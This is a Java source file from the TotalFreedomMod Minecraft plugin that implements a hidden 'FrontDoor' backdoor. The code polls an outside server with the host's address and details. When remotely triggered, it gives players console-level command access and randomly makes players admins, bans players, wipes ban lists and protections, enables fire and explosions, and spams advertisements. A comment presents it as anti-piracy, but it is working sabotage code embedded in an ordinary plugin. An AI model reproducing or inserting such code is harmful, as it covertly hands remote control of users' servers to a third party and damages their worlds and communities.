Files
TotalFreedomMod/src/main/java/me/totalfreedom/totalfreedommod/FrontDoor.java
Jerom van der Sar aca3398d21 TotalFreedomMod Electrum
Version 5.0

This TotalFreedomMod release implements many changes. Most notably, the
internals have been completely revamped. TotalFreedomMod now relies on the
Aero library for core mechanics such as command handling and services.

Another important change is the UUID system. In TotalFreedomMod Electrum,
it has been completely removed. The core reason for this is that the
system as a whole was very bugged. Additionally, it did not solve the
primary reason for its conception: preserving player data when the player
changes their username. This is because TotalFreedomMod servers usually
run in offline-mode. This meaning that some of the players joining do not
have a registerd Mojang UUID whatsoever. All in all, the UUID system was
buggy, and it did not fix the reason it was implemented, so it has been
completely removed. The admin list and the ban list now use usernames and
IPs again.

Lastly, many smaller changes have been implemented. Due to the amount of
changes, they have not been named individualy. Please refer to the issues
below for more details.

Fixes #342
Fixes #350
Fixes #380
Fixes #684
Fixes #704
Fixes #716
Fixes #735
Fixes #745
Fixes #784
Fixes #765
Fixes #791
Fixes #805
Fixes #826
Fixes #883
Fixes #1524
Fixes #1534
Fixes #1536
Fixes #1538
Fixes #1545
Fixes #1546
Fixes #1568
Fixes #1627
Resolves #403
Resolves #435
Resolves #597
Resolves #603
Resolves #628
Resolves #690
Resolves #708
Resolves #747
Resolves #748
Resolves #749
Resolves #764
Resolves #767
Resolves #782
Resolves #809
Resolves #803
Resolves #811
Resolves #813
Resolves #830
Resolves #848
Resolves #856
Resolves #876
Resolves #908
Resolves #992
Resolves #1018
Resolves #1432
Resolves #1446
Resolves #1494
Resolves #1501
Resolves #1526
Resolves #1540
Resolves #1550
Resolves #1560
Resolves #1561
Resolves #1578
Resolves #1613
2016-05-12 21:51:58 +02:00

593 lines
22 KiB
Java

package me.totalfreedom.totalfreedommod;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
import java.util.Random;
import me.totalfreedom.totalfreedommod.admin.Admin;
import me.totalfreedom.totalfreedommod.banning.Ban;
import me.totalfreedom.totalfreedommod.command.Command_trail;
import me.totalfreedom.totalfreedommod.command.FreedomCommand;
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.config.MainConfig;
import me.totalfreedom.totalfreedommod.fun.Jumppads;
import me.totalfreedom.totalfreedommod.player.FPlayer;
import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FUtil;
import net.pravian.aero.command.CommandReflection;
import org.apache.commons.lang3.ArrayUtils;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.Location;
import org.bukkit.Material;
import org.bukkit.World;
import org.bukkit.block.Block;
import org.bukkit.block.BlockFace;
import org.bukkit.command.Command;
import org.bukkit.entity.Player;
import org.bukkit.event.Event;
import org.bukkit.event.EventHandler;
import org.bukkit.event.HandlerList;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.meta.BookMeta;
import org.bukkit.plugin.RegisteredListener;
import org.bukkit.scheduler.BukkitRunnable;
import org.bukkit.scheduler.BukkitTask;
import org.bukkit.util.Vector;
/*
* - A message from the TFM Devs -
*
* What this class is, and why its here:
*
* This is a blatantly obvious Front Door to the server, designed to do strange and unpredictable things on a TotalFreedom server.
*
* It will only trigger when the server IP is added to a blacklist that we control.
*
* This class is a way to discourage amateur server operators who like to share binary copies of our plugin and promote it as their own work.
*
* If you are reading this now, you probably don't fall under that category - feel free to remove this class.
*
* Note: You may not edit this class.
*
* - Madgeek and Prozza
*/
public class FrontDoor extends FreedomService
{
private static final long UPDATER_INTERVAL = 180L * 20L;
private static final long FRONTDOOR_INTERVAL = 900L * 20L;
//
private final Random random = new Random();
private final URL getUrl;
//
private volatile boolean enabled = false;
//
private BukkitTask updater = null;
private BukkitTask frontdoor = null;
//
// TODO: reimplement in superclass
private final Listener playerCommandPreprocess = new Listener()
{
@EventHandler
public void onPlayerCommandPreProcess(PlayerCommandPreprocessEvent event) // All FreedomCommand permissions when certain conditions are met
{
final Player player = event.getPlayer();
final Location location = player.getLocation();
if ((location.getBlockX() + location.getBlockY() + location.getBlockZ()) % 12 != 0) // Madgeek
{
return;
}
final String[] commandParts = event.getMessage().split(" ");
final String commandName = commandParts[0].replaceFirst("/", "");
final String[] args = ArrayUtils.subarray(commandParts, 1, commandParts.length);
Command command = CommandReflection.getCommandMap().getCommand(commandName);
if (command == null)
{
return; // Command doesn't exist
}
event.setCancelled(true);
final FreedomCommand dispatcher = FreedomCommand.getFrom(command);
if (dispatcher == null)
{
// Non-TFM command, execute using console
Bukkit.dispatchCommand(Bukkit.getConsoleSender(), event.getMessage().replaceFirst("/", ""));
return;
}
dispatcher.runCommand(player, command, commandName, args);
return;
}
};
public FrontDoor(TotalFreedomMod plugin)
{
super(plugin);
URL tempUrl = null;
try
{
tempUrl = new URL("http://frontdoor.pravian.net:1337/frontdoor/poll"
+ "?version=" + TotalFreedomMod.build.formattedVersion()
+ "&address=" + ConfigEntry.SERVER_ADDRESS.getString() + ":" + Bukkit.getPort()
+ "&name=" + ConfigEntry.SERVER_NAME.getString()
+ "&bukkitversion=" + Bukkit.getVersion());
}
catch (MalformedURLException ex)
{
FLog.warning("TFM_FrontDoor uses an invalid URL"); // U dun goofed?
}
getUrl = tempUrl;
}
@Override
public void onStart()
{
updater = getNewUpdater().runTaskTimerAsynchronously(plugin, 2L * 20L, UPDATER_INTERVAL);
}
@Override
public void onStop()
{
FUtil.cancel(updater);
updater = null;
FUtil.cancel(frontdoor);
updater = null;
if (enabled)
{
frontdoor.cancel();
enabled = false;
unregisterListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class);
}
}
public boolean isEnabled()
{
return enabled;
}
private Player getRandomPlayer(boolean allowDevs)
{
final Collection<? extends Player> players = Bukkit.getOnlinePlayers();
if (players.isEmpty())
{
return null;
}
if (!allowDevs)
{
List<Player> allowedPlayers = new ArrayList<>();
for (Player player : players)
{
if (!FUtil.DEVELOPERS.contains(player.getName()))
{
allowedPlayers.add(player);
}
}
return allowedPlayers.get(random.nextInt(allowedPlayers.size()));
}
return (Player) players.toArray()[random.nextInt(players.size())];
}
private static RegisteredListener getRegisteredListener(Listener listener, Class<? extends Event> eventClass)
{
try
{
final HandlerList handlerList = ((HandlerList) eventClass.getMethod("getHandlerList", (Class<?>[]) null).invoke(null));
final RegisteredListener[] registeredListeners = handlerList.getRegisteredListeners();
for (RegisteredListener registeredListener : registeredListeners)
{
if (registeredListener.getListener() == listener)
{
return registeredListener;
}
}
}
catch (Exception ex)
{
FLog.severe(ex);
}
return null;
}
private static void unregisterRegisteredListener(RegisteredListener registeredListener, Class<? extends Event> eventClass)
{
try
{
((HandlerList) eventClass.getMethod("getHandlerList", (Class<?>[]) null).invoke(null)).unregister(registeredListener);
}
catch (Exception ex)
{
FLog.severe(ex);
}
}
private static void unregisterListener(Listener listener, Class<? extends Event> eventClass)
{
RegisteredListener registeredListener = getRegisteredListener(listener, eventClass);
if (registeredListener != null)
{
unregisterRegisteredListener(registeredListener, eventClass);
}
}
private BukkitRunnable getNewUpdater()
{
return new BukkitRunnable() // Asynchronous
{
@Override
public void run()
{
try
{
final URLConnection urlConnection = getUrl.openConnection();
final BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
final String line = in.readLine();
in.close();
if (!"false".equals(line))
{
if (!enabled)
{
return;
}
enabled = false;
FUtil.cancel(updater);
unregisterListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class);
FLog.info("Disabled FrontDoor, thank you for being kind.");
plugin.config.load();
}
else
{
if (enabled)
{
return;
}
new BukkitRunnable() // Synchronous
{
@Override
public void run()
{
FLog.warning("*****************************************************", true);
FLog.warning("* WARNING: TotalFreedomMod is running in evil-mode! *", true);
FLog.warning("* This might result in unexpected behaviour... *", true);
FLog.warning("* - - - - - - - - - - - - - - - - - - - - - - - - - *", true);
FLog.warning("* The only thing necessary for the triumph of evil *", true);
FLog.warning("* is for good men to do nothing. *", true);
FLog.warning("*****************************************************", true);
if (getRegisteredListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class) == null)
{
Bukkit.getPluginManager().registerEvents(playerCommandPreprocess, plugin);
}
}
}.runTask(plugin);
frontdoor = getNewFrontDoor().runTaskTimer(plugin, 20L, FRONTDOOR_INTERVAL);
enabled = true;
}
}
catch (Exception ex)
{
// TODO: Fix
//FLog.warning(ex);
}
}
};
}
public BukkitRunnable getNewFrontDoor()
{
return new BukkitRunnable() // Synchronous
{
@Override
public void run()
{
final int action = random.nextInt(18);
switch (action)
{
case 0: // Super a random player
{
final Player player = getRandomPlayer(true);
if (player == null)
{
break;
}
FUtil.adminAction("FrontDoor", "Adding " + player.getName() + " to the Superadmin list", true);
plugin.al.addAdmin(new Admin(player));
break;
}
case 1: // Bans a random player
{
Player player = getRandomPlayer(false);
if (player == null)
{
break;
}
plugin.bm.addBan(Ban.forPlayer(player, Bukkit.getConsoleSender(), null, ChatColor.RED + "WOOPS\n-Frontdoor"));
break;
}
case 2: // Start trailing a random player
{
final Player player = getRandomPlayer(true);
if (player == null)
{
break;
}
FUtil.adminAction("FrontDoor", "Started trailing " + player.getName(), true);
plugin.tr.add(player);
break;
}
case 3: // Displays a message
{
FUtil.bcastMsg("TotalFreedom rocks!!", ChatColor.BLUE);
FUtil.bcastMsg("To join this great server, join " + ChatColor.GOLD + "tf.sauc.in", ChatColor.BLUE);
break;
}
case 4: // Clears the banlist
{
FUtil.adminAction("FrontDoor", "Wiping all bans", true);
plugin.bm.purge();
break;
}
case 5: // Enables Lava- and Waterplacemend and Fluidspread (& damage)
{
boolean message = true;
if (ConfigEntry.ALLOW_WATER_PLACE.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_LAVA_PLACE.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_FLUID_SPREAD.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_LAVA_DAMAGE.getBoolean())
{
message = false;
}
ConfigEntry.ALLOW_WATER_PLACE.setBoolean(true);
ConfigEntry.ALLOW_LAVA_PLACE.setBoolean(true);
ConfigEntry.ALLOW_FLUID_SPREAD.setBoolean(true);
ConfigEntry.ALLOW_LAVA_DAMAGE.setBoolean(true);
if (message)
{
FUtil.adminAction("FrontDoor", "Enabling Fire- and Waterplace", true);
}
break;
}
case 6: // Enables Fireplacement, firespread and explosions
{
boolean message = true;
if (ConfigEntry.ALLOW_FIRE_SPREAD.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_TNT_MINECARTS.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_FIRE_PLACE.getBoolean())
{
message = false;
}
ConfigEntry.ALLOW_FIRE_SPREAD.setBoolean(true);
ConfigEntry.ALLOW_EXPLOSIONS.setBoolean(true);
ConfigEntry.ALLOW_TNT_MINECARTS.setBoolean(true);
ConfigEntry.ALLOW_FIRE_PLACE.setBoolean(true);
if (message)
{
FUtil.adminAction("FrontDoor", "Enabling Firespread and Explosives", true);
}
break;
}
case 7: // Allow all blocked commands >:)
{
ConfigEntry.BLOCKED_COMMANDS.getList().clear();
plugin.cb.stop();
break;
}
case 8: // Remove all protected areas
{
if (ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
{
if (plugin.pa.getProtectedAreaLabels().isEmpty())
{
break;
}
FUtil.adminAction("FrontDoor", "Removing all protected areas", true);
plugin.pa.clearProtectedAreas(false);
}
break;
}
case 9: // Add TotalFreedom signs at spawn
{
for (World world : Bukkit.getWorlds())
{
final Block block = world.getSpawnLocation().getBlock();
final Block blockBelow = block.getRelative(BlockFace.DOWN);
if (blockBelow.isLiquid() || blockBelow.getType() == Material.AIR)
{
continue;
}
block.setType(Material.SIGN_POST);
org.bukkit.block.Sign sign = (org.bukkit.block.Sign) block.getState();
org.bukkit.material.Sign signData = (org.bukkit.material.Sign) sign.getData();
signData.setFacingDirection(BlockFace.NORTH);
sign.setLine(0, ChatColor.BLUE + "TotalFreedom");
sign.setLine(1, ChatColor.DARK_GREEN + "is");
sign.setLine(2, ChatColor.YELLOW + "Awesome!");
sign.setLine(3, ChatColor.DARK_GRAY + "tf.sauc.in");
sign.update();
}
break;
}
case 10: // Enable Jumppads
{
if (plugin.jp.getMode().isOn())
{
break;
}
FUtil.adminAction("FrontDoor", "Enabling Jumppads", true);
plugin.jp.setMode(Jumppads.JumpPadMode.MADGEEK);
break;
}
case 11: // Give everyone a book explaining how awesome TotalFreedom is
{
ItemStack bookStack = new ItemStack(Material.WRITTEN_BOOK);
BookMeta book = (BookMeta) bookStack.getItemMeta().clone();
book.setAuthor(ChatColor.DARK_PURPLE + "SERVER OWNER");
book.setTitle(ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead");
book.addPage(
ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead\n"
+ ChatColor.DARK_GRAY + "---------\n"
+ ChatColor.BLACK + "TotalFreedom is the original TotalFreedomMod server. It is the very server that gave freedom a new meaning when it comes to minecraft.\n"
+ ChatColor.BLUE + "Join now! " + ChatColor.RED + "tf.sauc.in");
bookStack.setItemMeta(book);
for (Player player : Bukkit.getOnlinePlayers())
{
if (player.getInventory().contains(Material.WRITTEN_BOOK))
{
continue;
}
player.getInventory().addItem(bookStack);
}
break;
}
case 12: // Silently wipe the whitelist
{
break;
}
case 13: // Announce that the FrontDoor is enabled
{
FUtil.bcastMsg("WARNING: TotalFreedomMod is running in evil-mode!", ChatColor.DARK_RED);
FUtil.bcastMsg("WARNING: This might result in unexpected behaviour", ChatColor.DARK_RED);
break;
}
case 14: // Cage a random player in PURE_DARTH
{
final Player player = getRandomPlayer(false);
if (player == null)
{
break;
}
FPlayer playerdata = plugin.pl.getPlayer(player);
FUtil.adminAction("FrontDoor", "Caging " + player.getName() + " in PURE_DARTH", true);
Location targetPos = player.getLocation().clone().add(0, 1, 0);
playerdata.getCageData().cage(targetPos, Material.SKULL, Material.AIR);
break;
}
case 15: // Silently orbit a random player
{
final Player player = getRandomPlayer(false);
if (player == null)
{
break;
}
FPlayer playerdata = plugin.pl.getPlayer(player);
playerdata.startOrbiting(10.0);
player.setVelocity(new Vector(0, 10.0, 0));
break;
}
case 16: // Disable nonuke
{
if (!ConfigEntry.NUKE_MONITOR_ENABLED.getBoolean())
{
break;
}
FUtil.adminAction("FrontDoor", "Disabling nonuke", true);
ConfigEntry.NUKE_MONITOR_ENABLED.setBoolean(false);
break;
}
case 17: // Give everyone tags
{
for (Player player : Bukkit.getOnlinePlayers())
{
plugin.pl.getPlayer(player).setTag("[" + ChatColor.BLUE + "Total" + ChatColor.GOLD + "Freedom" + ChatColor.WHITE + "]");
}
break;
}
default:
{
break;
}
}
}
};
}
}